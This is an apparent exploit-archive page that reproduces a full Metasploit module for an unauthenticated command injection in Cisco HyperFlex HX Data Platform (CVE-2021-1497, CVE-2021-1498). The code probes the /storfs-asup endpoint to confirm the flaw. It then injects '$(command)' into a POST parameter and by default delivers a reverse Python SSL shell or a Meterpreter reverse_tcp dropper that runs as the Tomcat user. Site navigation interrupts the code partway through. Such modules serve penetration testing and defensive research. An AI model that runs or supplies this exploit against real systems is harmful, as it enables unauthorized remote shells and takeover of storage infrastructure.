Cisco HyperFlex HX Data Platform Command Execution

Authored by wvu, Mikhail Klyuchnikov, Nikita Abramov | Site metasploit.com
Posted Jun 4, 2021

This Metasploit module exploits an unauthenticated command injection in Cisco HyperFlex HX Data Platform's /storfs-asup endpoint to execute shell commands as the Tomcat user.

tags | exploit, shell
systems | cisco
advisories | CVE-2021-1497, CVE-2021-1498
SHA-256 | 0a1aa0b824e15e84195c2385f8bf0e7dc95224435e2865997906be79faf81ba6 **Download** | **Favorite** | **View**

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Cisco HyperFlex HX Data Platform Command Execution',
        'Description' => %q{
          This module exploits an unauthenticated command injection in Cisco
          HyperFlex HX Data Platform's /storfs-asup endpoint to execute shell
          commands as the Tomcat user.
        },
        'Author' => [
          'Nikita Abramov', # Discovery
          'Mikhail Klyuchnikov', # Discovery
          'wvu' # Analysis and exploit
        ],
        'References' => [
          ['CVE', '2021-1497'], # HyperFlex HX Data Platform Installer
          ['CVE', '2021-1498'], # HyperFlex HX Data Platform
          ['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-hyperflex-
rce-TjjNrkpR'],
          ['URL', 'https://attackerkb.com/assessments/4f532147-b27b-4079-aed1-5cfdc402cf5c'],
          ['URL', 'https://twitter.com/ptswarm/status/1390300625129201664']
        ],
        'DisclosureDate' => '2021-05-05',
        'License' => MSF_LICENSE,
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => false, # Privesc left as an exercise for the reader
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_python_ssl'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])

    register_advanced_options([
      OptFloat.new('CmdExecTimeout', [true, 'Command execution timeout', 3.5])
    ])
  end

  def check
    res = send_request_cgi(
      'method' => %w[GET POST].sample,
      'uri' => normalize_uri(target_uri.path, 'storfs-asup')
    )

    return CheckCode::Unknown unless res

    unless res.code == 200 &&
           res.body.include?('Action for the servlet need be specified.')
      return CheckCode::Safe
    end

    CheckCode::Vulnerable('Storfs ASUP servlet detected.')
  end

  def exploit
    print_status("Selected #{payload_instance.refname} (#{target.name})")

    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  end

  def execute_command(cmd, _opts = {})
    print_status("Executing command: #{cmd}")

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'storfs-asup'),
      'vars_post' => {
        'action' => Faker::Hacker.verb,
        %w[token mode].sample => "$(#{cmd})"
      }
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

- **Red Hat** 180 files
- **Ubuntu** 78 files
- **Debian** 24 files
- **LiquidWorm** 23 files
- **malvuln** 12 files
- **nu11secur1ty** 10 files
- **Gentoo** 9 files
- **Google Security Research** 8 files
- **T. Weber** 4 files
- **Julien Ahrens** 4 files

File Tags

- ActiveX (932)
- Advisory (79,733)
- Arbitrary (15,694)
- BBS (2,859)
- Bypass (1,619)
- CGI (1,018)
- Code Execution (6,924)
- Conference (673)
- Cracker (840)
- CSRF (3,290)
- DoS (22,601)
- Encryption (2,349)
- Exploit (50,358)
- File Inclusion (4,165)
- File Upload (946)
- Firewall (821)
- Info Disclosure (2,660)
- Intrusion Detection (867)
- Java (2,899)
- JavaScript (820)
- Kernel (6,290)
- Local (14,201)
- Magazine (586)
- Overflow (12,418)
- Perl (1,418)
- PHP (5,093)
- Proof of Concept (2,291)
- Protocol (3,435)
- Python (1,467)
- Remote (30,043)
- Root (3,504)
- Ruby (594)
- Scanner (1,631)
- Security Tool (7,776)
- Shell (3,103)
- Shellcode (1,204)
- Sniffer (886)

File Archives

- December 2022
- November 2022
- October 2022
- September 2022
- August 2022
- July 2022
- June 2022
- May 2022
- April 2022
- March 2022
- February 2022
- January 2022
- Older

Systems

- AIX (426)
- Apple (1,926)
- BSD (370)
- CentOS (55)
- Cisco (1,917)
- Debian (6,634)
- Fedora (1,690)
- FreeBSD (1,242)
- Gentoo (4,272)
- HPUX (878)
- iOS (330)
- iPhone (108)
- IRIX (220)
- Juniper (67)
- Linux (44,294)
- Mac OS X (684)
- Mandriva (3,105)
- NetBSD (255)
- OpenBSD (479)
- RedHat (12,448)
- Slackware (941)
- Solaris (1,607)

```
    }, datastore['CmdExecTimeout'])

    unless res
      print_warning('Command execution timed out')
      return
    end

    unless res.code == 200
      fail_with(Failure::PayloadFailed, 'Failed to execute command')
    end

    print_good('Successfully executed command')
  end

end
```

Login or Register to add favorites

- Spoof (2,166)
- SQL Injection (16,101)
- TCP (2,379)
- Trojan (686)
- UDP (876)
- Virus (662)
- Vulnerability (31,132)
- Web (9,357)
- Whitepaper (3,729)
- x86 (946)
- XSS (17,494)
- Other

- SUSE (1,444)
- Ubuntu (8,199)
- UNIX (9,158)
- UnixWare (185)
- Windows (6,511)
- Other

Site Links

- News by Month
- News Tags
- Files by Month
- File Tags
- File Directory

About Us

- History & Purpose
- Contact Information
- Terms of Service
- Privacy Statement
- Copyright Information

Hosting By

- Rokasec

Follow us on Twitter

Subscribe to an RSS Feed

packet storm